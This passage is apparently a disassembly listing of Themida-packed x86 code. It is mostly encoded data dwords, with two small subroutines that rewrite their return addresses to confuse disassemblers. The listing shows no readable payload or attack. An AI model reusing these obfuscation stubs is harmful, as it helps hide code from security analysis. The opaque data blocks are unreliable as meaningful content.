281AC02Eh, 9E9EDh, 5560000h, 61B3D25Ah dd 8D752C80h, 2AF9F985h, 858D5006h, 62AF0CCh, 2DA98D8Bh dd 66500628h, 0B1ACF181h, 0DF595FFh, 0C9810628h, 5DF82DD4h dd 890CC483h, 281EF585h, 658D3306h, 6A062825h, 806800h dd 36A0000h, 6A006Ah, 68h, 0CC858D80h, 50062AF0h, 18D995FFh dd 85890628h, 62AF9DCh, 0D2585C6h, 68470628h, 0C7B15E87h dd 2DD5B5FFh, 858D0628h, 6283BBBh, 6AD0FFh, 0F9DCB5FFh dd 0D0FF062Ah, 7E9h, 2F3BAA00h, 6CBB1A85h, 4A19501h, 0D03D0628h dd 0F000037h, 8483h, 0B9A4B900h, 0B5FF72D0h, 62AF9DCh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0C35545h dd 18A2ACB6h, 820F28FFh, 6, 52D9D01h, 958B0628h, 62824F9h dd 22B1958Bh, 95FF0628h, 62810C1h, 0EDC78160h, 8B368543h dd 0CAE961F3h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0E7E4C357h, 149489BFh dd 3850Fh, 8B660000h, 0DCB5FFFEh, 66062AF9h, 95FFC88Bh dd 62810C1h, 2FDB589h, 0C2800628h, 89006AA5h, 28183185h dd 0E8006A06h, 7, 0BC09095Ch, 0F9B94A35h, 66006A59h, 6ACCE5B9h dd 6AFC00h, 3299BD8Bh, 6A0628h, 2B5D9531h, 858D0628h, 62AF9E0h dd 2425958Bh, 8B500628h, 28005195h, 0D995FF06h, 89062818h dd 280E29BDh, 0FFF88306h, 146850Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0DA8091C3h, 0A870F42h, 0E9000000h, 5, 0E1C3B043h, 83858DC2h dd 81062AB0h, 7CA445E7h, 60D0FF5Bh, 7E9h, 9691EC00h, 399B4957h dd 0D9858960h, 0BF06282Ah, 2C132397h, 6A6161h, 79C66BB9h dd 6A006A64h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 95B6C355h, 0CC2E1CE1h, 0F9591FA9h dd 0E3DB589h, 6A0628h, 5F9BD8Bh, 6A0628h, 6ACE8Bh, 237D8D29h dd 6A0628h, 0F9B589F8h, 8D062818h, 2AF9E085h, 0BF665106h dd 505AF3DFh, 0F3D8A9B9h, 0D995FF79h, 8B062818h, 280701BDh dd 0FFF88306h, 76850Fh, 14BA0000h, 8D45778Ch, 2AF3E8B5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 5528D221h, 66AEE87Bh, 65DFD181h, 9F24858Dh dd 6A062Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 8D8BBAC3h, 62832E9h, 8D23D0FFh, 6280FA9h dd 11498D01h, 6A0628h, 0FFF88BF9h, 282EFD95h, 4CE28006h dd 0F9DC8589h, 9D89062Ah, 6282AD9h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 78CACCC3h dd 0C05FB2BAh, 0C8BF0FA5h, 0F9D4858Dh, 6EB2062Ah, 0D18B6650h dd 8B51046Ah, 858D5FCFh, 62805D1h, 0FA5AF281h, 6A5065E0h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0DC70C350h, 4C7CF221h, 2209B501h, 6A0628h dd 1019D89h, 6A0628h, 6AD2B70Fh, 55006A01h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0FFF531F0h dd 2AF9DCB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 0B0C7A2Bh, 2813658Dh, 7995FF06h dd 50062832h, 0E2816660h, 0C0815BDAh, 41102F83h, 81665961h dd 0E923F6EFh, 1BD7h, 5840Fh, 81660000h, 8BAEA3D2h, 71BD89C0h dd 83062809h, 280149BDh, 9750006h, 14C5BD83h, 74000628h dd 8B535019h, 7D2B8C0h, 85890000h, 6280291h, 0A55E9D8Dh dd 0D3FF062Ah, 0BD83585Bh, 62814C5h, 50177400h, 7D2B853h dd 85890000h, 6280291h, 0A24D9D8Dh, 0D3FF062Ah, 0CF8B585Bh dd 2EE5B529h, 0C08B0628h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 10C35747h, 0F7903C0Fh, 8A3451D5h, 1585C7F4h dd 1062824h, 0B5000000h, 0E7B86861h, 0B5FFCEE4h, 628105Dh dd 3BBB858Dh, 0D0FF0628h, 17318589h, 858D0628h, 62AFC38h dd 0F5858D50h, 50062AFEh, 168h, 3195FF80h, 0B062817h, 0C70A75C0h dd 282F6585h, 106h, 0DBD46800h, 0B5FFC005h, 628105Dh, 3BBB858Dh dd 0D0FF0628h, 1F698589h, 858D0628h, 62AEE85h, 0D5B5FF50h dd 0FF06282Dh, 282C2195h, 74C00B06h, 8DD88B0Bh, 2AFE3885h dd 0D3FF5006h, 0FE38858Dh, 8366062Ah, 0A750938h, 12B185C7h dd 10628h, 95FF0000h, 6281971h, 0FF25h, 5F88300h, 85C70A73h dd 6283201h, 1, 0BE9h, 0DD14DA00h, 30C8C9E3h, 98A4BFECh dd 0FA47BD80h, 0F00062Ah, 2184h, 0AE900h, 0F7D50000h, 0E7E39300h dd 0B67081F4h, 0FEF1BD83h, 0F00062Ah, 1084h, 0DF816600h dd 50E9891Bh, 8900001Ah, 280F8995h, 0B1BD8306h, 62812h dd 0E4850Fh, 880F0000h, 0Eh, 5BD3160h, 81062818h, 8386B1E9h dd 858D6145h, 62AFA11h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 7BC35545h, 1D1D90C2h, 8D895048h, 6280EC9h dd 6A016Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 430F7DC3h, 6AC23C41h, 73E98100h, 6A1EC644h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 47733F2Fh, 0CB53AF02h, 8D8B0939h, 6280FC1h dd 234995FFh, 85890628h, 62AFA3Bh, 3718D23h, 0FF6A0628h dd 38A0Fh, 8B660000h, 3BB5FFF9h, 0FF062AFAh, 282DC195h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 9A45EE6h, 858D5BC1h, 62AEE4Ch, 565095B2h dd 14E9h, 213B5400h, 0D05F0217h, 0D284BD3Bh, 8D2D028Dh dd 2682E603h, 95FF5FD6h, 62833D1h, 1ECDB531h, 85890628h dd 62AEED6h, 4800Fh, 0BF660000h, 858D2C7Eh, 62AEE59h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 7FC35242h, 0ABE7A0BDh dd 89507D81h, 2814E19Dh, 0D6B5FF06h, 0B9062AEEh, 5AC3ED86h dd 2C2195FFh, 0B9660628h, 858938F5h, 6282465h, 19658D31h dd 858D0628h, 62AEEC7h, 50CFBF0Fh, 0FF71D280h, 2AEED6B5h dd 95FFF906h, 6282C21h, 240D8D89h, 85890628h, 62AEEEAh dd 21C18D8Bh, 858D0628h, 62AEEA6h, 68D0Fh, 0C2810000h dd 0CB239FFh, 8BD78B50h, 0D6B5FFD7h, 66062AEEh, 1AC2F281h dd 2C2195FFh, 8D8B0628h, 62811A9h, 0EEE28589h, 6A062Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0DA5061C3h, 299A3A6Eh, 0DADEBFDCh, 858D6971h, 62AEE99h dd 50FEB70Fh, 3D2CDF81h, 0FA8B082Fh, 0EED6B5FFh, 9D01062Ah dd 62803A9h, 2C2195FFh, 6A0628h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 132C76C3h, 59725559h dd 9AEE8056h, 0EEE68589h, 0BA53062Ah, 56772ACh, 0B4858D5Ah dd 6A062AEEh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0CC9EC350h, 0B4FFD439h, 26287DE6h dd 52006A50h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0F2B6AE79h, 0B5895C2Bh, 6281199h, 0EED6B5FFh dd 95FF062Ah, 6282C21h, 235DBD8Bh, 0B5890628h, 6281815h dd 2A98589h, 81660628h, 8DF38DC9h, 2AEE6885h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0BF0F4E5Ch, 68C0FF9h, 1000000h, 2821ED9Dh, 0C58D8906h dd 50062817h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 3AC35040h, 7A1EDDD1h, 0FB0BE81h, 88Ch, 9D895300h dd 6282001h, 0D6B5FF5Fh, 2B062AEEh, 281941BDh, 2195FF06h dd 0FC06282Ch, 0EEDA8589h, 0BF0F062Ah, 77858DFAh, 0F062AEEh dd 38Fh, 0D18B6600h, 0C1816650h, 0B5FF42D2h, 62AEED6h dd 2DF9BD8Bh, 95FF0628h, 6282C21h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0C35343h, 8AAC5E5Eh, 981A5021h dd 0EEDE8589h, 468062Ah, 89000001h, 280BD1BDh, 6E858D06h dd 8B062AEFh, 2826A195h, 0DE805006h, 0ABDA8071h, 0F072858Dh dd 9589062Ah, 6282159h, 6800F50h, 89000000h, 281135BDh dd 0F98D8906h, 0FF06282Eh, 280ED995h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0A58BA6D3h, 0A770987Bh, 29918589h, 8B0F0628h, 6, 25C18531h dd 860F0628h, 8, 28E0Fh, 59530000h, 850FC085h, 1Fh, 13E8h dd 522AC000h dd 0C5CFE975h, 68417743h, 61C03B55h, 6C289397h, 0BF98D8Bh dd 805F0628h, 2AFA47BDh, 850F0006h, 10h, 0E517BF66h, 15DAE9h dd 0DDB52900h, 0FC06280Dh, 12B1BD83h, 0F000628h, 3785h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 0F25009B5h, 0BD83A035h, 62AFEF1h, 45840F00h dd 80000000h, 8589F7EDh, 6280D55h, 0EF0B858Dh, 8166062Ah dd 0E92FA3F7h, 157Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 71C35141h, 8B3A7796h, 2EE9CBh, 85090000h dd 6282169h, 0EEF6858Dh, 6A062Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 953162C3h, 62824C1h dd 10E950h, 29580000h, 73D21AE2h, 4DAB9388h, 7CDBDEA9h dd 858D7C07h, 62AEF6Eh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 1EC35040h, 0CA805091h, 0DE950C9h, 0B7000000h dd 7FAB7544h, 0B6475734h, 38D2D1A9h, 12B1BD83h, 0F000628h dd 5684h, 0D2BF0F00h, 0F094858Dh, 6A062Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0C61495C3h dd 9BEEDF42h, 0E967F604h, 2Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0E4C35141h, 159D29E5h, 8D062800h dd 2AF07D85h, 0F7BF6606h, 0D68050F7h, 0CC858DF6h, 6A062AF0h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 75FEC351h, 6518D89h, 8B500628h, 282FC98Dh dd 0F595FF06h, 6A06280Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0BA2BC352h, 83954E63h dd 0B52910C4h, 6282271h, 0EDD958Bh, 0C08B0628h, 0E3D8D8Bh dd 0BD830628h, 6280149h, 83097500h, 2814C5BDh, 19740006h dd 0C08B5350h, 7D3B8h, 91858900h, 8D062802h, 2AA55E9Dh dd 5BD3FF06h, 0C5BD8358h, 62814h, 53501774h, 7D3B8h, 91858900h dd 8D062802h, 2AA24D9Dh, 5BD3FF06h, 0E1816658h, 1BAD1B5h dd 8B46FAC9h, 0D8B966C0h, 0F6BD817Bh, 6F062AEEh, 0F616572h dd 8784h, 0DA816600h, 858D4F60h, 62AEF6Eh, 0AB858D50h dd 50062AF0h, 0F0CC858Dh, 0FF50062Ah, 280DF595h, 0CC48306h dd 0D2585C6h, 68440628h, 96A3184Fh, 2DD5B5FFh, 858D0628h dd 6283BBBh, 0D88BD0FFh, 0F0CC858Dh, 0FF50062Ah, 0F6858DD3h dd 50062AEEh, 0EF6E858Dh, 8350062Ah, 2812B1BDh, 8740006h dd 0F094858Dh, 6EB062Ah, 0F07D858Dh, 8D50062Ah, 2AF0CC85h dd 95FF5006h, 6280DF5h, 8B10C483h, 280109BDh, 78EE8006h dd 197195FFh, 0F78A0628h, 0FF25h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0C6FB5D5Fh dd 7673403Fh, 958BCCC6h, 62833A9h, 1295BD8Bh, 0F8830628h dd 49830F05h, 8B000000h, 2801EDBDh, 185C706h, 1062832h dd 0E9000000h, 10h, 2A9D74A4h, 804652Dh, 0AD3C7ABBh, 27C05149h dd 0EF2A858Dh, 0BD8B062Ah, 6281A19h, 74E9h, 7E800h, 29AE0000h dd 0EF108D68h, 11958B96h, 5A062821h, 12B1BD83h, 0F000628h dd 2584h, 0E59D8900h, 8906282Eh, 282CFDB5h, 55858D06h dd 29062AEFh, 28321D95h, 37E906h, 8B500000h, 282479BDh dd 858D5906h, 62AEF37h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0A9C35545h, 0C04D93Eh, 89DAEA4Ah, 282C1D8Dh dd 6A858906h, 6A062AEFh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0B2BC355h, 0CB8BD68Bh dd 2DD18D2Bh, 0BD830628h, 62812B1h, 23850F00h, 83000000h dd 2AFEF1BDh, 840F0006h, 44h, 1180E981h, 7E85550h, 24000000h dd 0E4B11E02h, 8B66C7BDh, 0B8E95AD3h, 6A000011h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0E002C352h, 662BC81Ah, 66341CBFh, 5B3E181h, 4CEE9h dd 14E96000h, 0A5000000h, 0DE7DD447h, 1A94C747h, 0E29CF454h dd 177FC4CFh, 0F8EDB40h, 380h, 0D9B70F00h, 31C08B61h, 28226D9Dh dd 0DE86006h, 47000000h, 0F4D540D1h, 7C9CAE3Fh, 3A125976h dd 1E818589h, 665E0628h, 6808EB81h, 49BD8361h, 62801h dd 0BD830975h, 62814C5h, 50197400h, 0B8C08B53h, 7D4h, 2918589h dd 9D8D0628h, 62AA55Eh, 585BD3FFh, 14C5BD83h, 74000628h dd 0B8535017h, 7D4h, 2918589h, 9D8D0628h, 62AA24Dh, 585BD3FFh dd 14558D89h, 958B0628h, 6282115h, 958BC08Bh, 628245Dh dd 0F003F68h, 12E900h, 0DA8B0000h, 0A911ABD7h, 4687E86Ah dd 2CDC8D5Ch, 0C83AA411h, 0CE9006Ah, 0A6000000h, 3D723117h dd 0DD662223h, 6A16CCCDh, 80F96000h, 0FF610BDCh, 28246595h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 8E9A73Ah, 0BB000000h, 821231B7h, 85C0219Ah dd 16850FC0h, 0E9000000h, 0Dh, 0E1A9265Fh, 26B8F568h, 7D19F2ACh dd 0D78B5231h, 0EE858959h, 0F062AEEh, 6ACAB7h, 0BD8D8B56h dd 5F062812h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 79A884C3h, 4BCF4F11h, 6063EC14h dd 0E9FAB760h, 0Fh, 75AF147Ch, 0C3A8DEA4h, 85EA17D9h, 61505797h dd 6850Fh, 9D290000h, 6280DC5h, 66006A61h, 6AD38Bh, 0B59D8B60h dd 6106282Dh, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0CBECDCC3h, 85896000h, 6281865h dd 14E8h, 499CF100h, 0E1098422h, 0E69C58C8h, 0D43F3AD5h dd 9F737795h, 0FE9F0h, 6D3C0000h, 0D56A54F0h, 54A05456h dd 1D6F941Ah, 8D615A92h, 2AF0CC85h, 0F9BD8B06h, 5006280Bh dd 6E9h, 2F4EDD00h, 6AA02A9Eh, 0C58D0301h, 6A062811h, 56006A01h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0EF489720h, 0D055C73Eh, 6AD2BF0Fh, 57006A01h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 8B0458A0h, 28093D8Dh, 0C810F06h, 0F000000h, 681h, 1DBD8B00h dd 68062829h, 0F01FFh, 345D9D89h, 0BD830628h, 62812B1h dd 69840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0F13DC350h, 8B4198D2h dd 8BA2581Eh, 2822598Dh, 4B858D06h, 6A062AEFh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 7FC1C353h, 81667B4Ah, 2959D7F7h, 282CE985h, 16E906h dd 5E90000h, 64000000h, 53FFC980h, 0EF21858Dh, 9509062Ah dd 6280781h, 0F1BD8950h, 50062802h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 9FC35343h, 7D95BAADh, 0EEEEB5FFh dd 0BF0F062Ah, 0DA95FFD3h, 6A062AEEh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0FC15C352h dd 0C777BA68h, 0C0850501h, 0B850Fh, 0B70F0000h, 30E9D3h dd 8B660000h, 0F28589D0h, 0BA062AEEh, 29109A04h, 0F2B5FFF5h dd 0BF062AEEh dd 3E110F65h, 2A995FFh, 8B660628h, 0FC085CAh, 585h, 0B70F5600h dd 106A5FC8h, 28F9BD8Bh, 0BD830628h, 62812B1h, 1D840F00h dd 9000000h, 280F1195h, 4B858D06h, 8B062AEFh, 28196D95h dd 12E906h, 85310000h, 6280505h, 0EF21858Dh, 8D8B062Ah dd 62818E9h, 0E1B53150h, 0FF062803h, 2AEEEEB5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0D68B7285h, 0EEE695FFh, 8D8B062Ah, 6281171h, 850FC085h dd 0Fh, 0AE9h, 0BCB4CD00h, 0B36B80B6h, 8984DEA8h, 2AEEF285h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 13DCFAF2h, 214C18C9h, 0F49B589h, 6A0628h dd 899523h, 6A0628h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 8FC35545h, 0EF42B6BEh, 0FF8292E8h, 2AEEF2B5h dd 0FA8B5306h, 98D895Fh, 0FF062820h, 2AEEDE95h, 49B58906h dd 8506282Bh, 3850FC0h, 80000000h, 0B5FF69EDh, 62AEEF2h dd 29D1958Bh, 95FF0628h, 62802A9h, 0FC085FCh, 685h, 3DB58900h dd 6A06281Fh, 8068F800h, 0E9000000h, 14h, 8FDB9FC4h, 0EBF6E08Eh dd 0EF24752Fh, 0C92E63DAh, 2374422Dh, 0AE9036Ah, 41000000h dd 929CC49Eh, 86AB764Eh, 1006A47h, 280401B5h, 31006A06h dd 28022DB5h, 6806h, 0B5FFC000h, 62AEF6Ah, 0CE960h, 0B8120000h dd 0D52C608Dh, 0B48686B8h, 896054FFh, 2821B59Dh, 14E806h dd 44700000h, 0CB7CFFCCh, 30D942F0h, 1F863357h, 2999945Ch dd 615F4991h, 0D995FF61h, 6A062818h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0E66C357h dd 0E64CE7EBh, 4B74AA05h, 781BD89h, 0F8830628h, 0D5850FFFh dd 0E9000004h, 14h, 2D8A596h, 1336DECAh, 34AC908Bh, 352AF542h dd 0E9C51D48h, 0F9D885FFh, 10E9062Ah, 8E000000h, 129E67B4h dd 4B08B4F9h, 0ADD0410Fh, 832D1695h, 2AF9D8BDh, 840F0206h dd 3AAh, 7E5BD8Bh, 858D0628h, 5B243Bh, 19018589h, 0D0FF0628h dd 1D718D8Bh, 858D0628h, 5B1E8Eh, 2319BD01h, 0D0FF0628h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 5EC35646h dd 811BACC5h, 6DFF3EC1h, 0F8C08B64h, 149BD83h, 75000628h dd 0C5BD8309h, 62814h, 53501974h, 0D8B8C08Bh, 89000007h dd 28029185h, 5E9D8D06h, 0FF062AA5h, 83585BD3h, 2814C5BDh dd 17740006h, 0D8B85350h, 89000007h, 28029185h, 4D9D8D06h dd 0FF062AA2h, 57585BD3h, 0BE960h, 6D4B0000h, 0AD5AAE55h dd 689C5AC7h, 616160E6h, 8D29605Fh, 62820A1h, 5813CBBFh dd 0C08B6172h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0BC35545h, 0E2F2775Eh, 0B5294D55h, 62832F5h, 0F003F68h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 954DDFB7h, 0EF9CEFB6h, 816630E2h, 6A61A6F2h dd 0DD9D8900h, 6A062814h, 598D8B00h, 0FF06282Dh, 28246595h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0DAB2779Eh, 0E93B6BC8h, 5, 0F2C464D4h, 8BC08501h dd 2804B98Dh, 8589F506h, 62AEEEEh, 0D19D8B60h, 61062822h dd 0EEF31BFh, 1FF6858h, 0B529000Fh, 6280D0Dh, 0E358D8Bh dd 0BD830628h, 62812B1h, 1F840F00h, 0F000000h, 858DF9BFh dd 62AEF4Bh, 0D958960h, 6606282Bh, 0E961D18Bh, 12h, 0B23AD781h dd 858D7DD4h, 62AEF21h, 0B1F0CF81h, 3505C34h, 2807BD8Dh dd 0EEB5FF06h, 0E9062AEEh, 13h, 0C606C6E0h, 612B0D5Ch dd 80E62188h, 9C518D3Bh, 0FFD74FA9h, 2AEEE695h, 8960F906h dd 2817099Dh, 6810F06h, 8B000000h, 2833999Dh, 85896106h dd 62AEEF2h, 4890Fh, 0B9660000h, 85C7394Ah, 6282DF1h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_57B6AB and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57B6AB proc near ; CODE XREF: Themida_:0057B6A3p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_57B6AB endp ; --------------------------------------------------------------------------- db 0BBh dd 0F0670699h, 830A26EEh, 2AEEF2BDh, 840F0006h, 157h, 0BE9h dd 47DCEE00h, 102BD665h, 524EF65Dh, 0F1D0858Dh, 3BB5062Ah dd 50F88B66h, 6A016Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 24C907C3h, 0D1CD8083h, 0EEF2B5FFh dd 8F0F062Ah, 3, 0FFCE8B66h, 2AEEEA95h, 0FFA3B506h, 2AEEF2B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0E1A6190Dh, 16AF1F4Fh, 0A995FF07h, 0F9062802h dd 0F01FF68h, 41958900h, 83062808h, 2812B1BDh, 840F0006h dd 1Eh, 8DD18B66h, 2AEF4B85h, 8E806h, 0DF540000h, 1441EB00h dd 0E959FDD2h, 12h, 858DD18Ah, 62AEF21h, 0EB18509h, 0BF660628h dd 8B50AA96h, 2813198Dh, 0EEB5FF06h, 81062AEEh, 468720E1h dd 0E695FF40h, 6A062AEEh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0D19CC355h, 5270BDCFh dd 0E79EB966h, 0EEF28589h, 9531062Ah, 6282BB1h, 0EEF2B5FFh dd 0E281062Ah, 39824420h, 0EEE295FFh, 958B062Ah, 6280E6Dh dd 0EEF2B5FFh, 8166062Ah, 0FF97E1DFh, 2802A995h, 5E906h dd 0EBD10000h, 0E9079A60h, 7, 6D024D7Ah, 0E9B81666h, 0FFFFF6B5h dd 2FB18D89h, 0B5FF0628h, 62AFA3Bh, 0E599D29h, 0B70F0628h dd 0D995FFD7h, 0F062814h, 0C8Ah, 68F0F00h, 1000000h, 282B3185h dd 19858B06h, 6606282Ch, 0CCE9D08Bh, 0F000005h, 68Ch, 1D8D8B00h dd 8D062829h, 2AF1F0B5h, 7D8D3106h, 33062800h, 28274D8Dh dd 24858D06h, 6A062A9Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 87C3C355h, 8B8A5BBBh dd 28326995h, 6AD0FF06h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 1507C353h, 11CDC0F7h dd 0BA66FDBBh, 0CB8B4062h, 8E0F006Ah, 3, 8BCEBF0Fh, 2810C98Dh dd 0FD95FF06h, 6606282Eh, 0F38BD38Bh, 0F85BED80h, 9F24858Dh dd 8D8B062Ah, 6280CDDh, 0BF66D0FFh, 6AC642h, 1189B531h dd 95FF0628h, 6282EFDh, 8EBAC08Bh, 8345993Ah, 280149BDh dd 9750006h, 14C5BD83h, 74000628h, 8B535019h, 7D9B8C0h dd 85890000h, 6280291h, 0A55E9D8Dh, 0D3FF062Ah, 0BD83585Bh dd 62814C5h, 50177400h, 7D9B853h, 85890000h, 6280291h dd 0A24D9D8Dh, 0D3FF062Ah, 0BD8B585Bh, 6282D11h, 0C08BF88Bh dd 6650EC8Ah, 0C281CB8Bh, 3A3E2F21h, 11E9D88Bh, 3C000000h dd 5C7BD98Fh, 65A1D790h, 30820080h, 224D9AA6h, 619D8D53h dd 8B062805h, 8B038903h, 43895043h, 0D49D8D50h, 8B062AF9h dd 5B038903h, 48A0Fh, 0BF660000h, 8589A264h, 6281A3Dh dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 98CC4FC3h, 0C49B501h, 60B20628h, 0F9D4858Dh dd 9589062Ah, 62800C1h, 6890Fh, 8D8B0000h, 6282EA9h, 5E950h dd 979A0000h, 0F50514C2h, 48B6606Ah, 561858Dh, 6A0628h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0F545FBC3h, 0B97F8693h, 0BD8BB586h, 6280251h, 10E9h dd 833E1300h, 0A72742BEh, 387302A3h, 0F2656B52h, 0BD2350F8h dd 6281901h, 958B006Ah, 6280F49h, 8589006Ah, 6280CBDh dd 180068h, 7E95000h, 0FD000000h, 0CEB1289Eh, 535AB2CAh dd 327995FFh, 67BA0628h, 0FF3E606Bh, 2810C195h, 1D958B06h dd 0FF062811h, 2AFA3BB5h, 61BD8906h, 0FF062819h, 2814D995h dd 918D8906h, 8D062820h, 28056185h, 8BFA8B06h, 6A1840h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 2FFFF5C3h, 8957D6B9h, 69BD8BFCh, 0C7062829h, 28023D85h dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 16B1C06Bh, 8F8D61h, 13E9h, 4AD4EE00h dd 4AB20722h, 43A1CD50h, 42AB9233h, 0DE12B512h, 12B1BD83h dd 0F000628h, 3B84h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 49C9654h, 0DA8166A1h dd 8C3D63FEh, 0F000000h, 1BB83h, 0E97DB500h, 34h, 59A5BF66h dd 983Dh, 0A5830F00h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0DDBFC355h, 0AF277AECh dd 0D3AC9D2Eh, 243B858Dh, 952B005Bh, 6281749h, 6AD0FFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0F40F6C3h, 858DF8BFh, 5B1E8Eh, 47ABC781h, 0D0FF073Dh dd 28EDBD89h, 0C08B0628h, 4800Fh, 0BF660000h, 0BD83F82Ah dd 6280149h, 83097500h, 2814C5BDh, 19740006h, 0C08B5350h dd 0BC6B8h, 91858900h, 8D062802h, 2AA55E9Dh, 5BD3FF06h dd 0C5BD8358h, 62814h, 53501774h, 0BC6B8h, 91858900h, 8D062802h dd 2AA24D9Dh, 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 57E5D744h, 0DB19B88Eh dd 8870Fh, 8B560000h, 2817CDBDh, 0BD895A06h, 6280341h dd 0BD8BC08Bh, 62822C1h, 0FFFF883h, 7A85h, 10E800h, 21D60000h dd 0AFDA7364h, 8D4F3FDBh, 9E32C99Dh, 12E9B277h, 22000000h dd 0DE44CA10h, 0A0627C48h, 8070DB12h, 0F9347965h, 85C75A76h dd 628329Dh, 0 ; --------------------------------------------------------------------------- pusha mov esi, [ebp+62819A5h] clc popa jmp loc_57BDDB ; --------------------------------------------------------------------------- push 0 push ebp call sub_57BCD9 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BCD9 proc near ; CODE XREF: Themida_:0057BCD1p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn 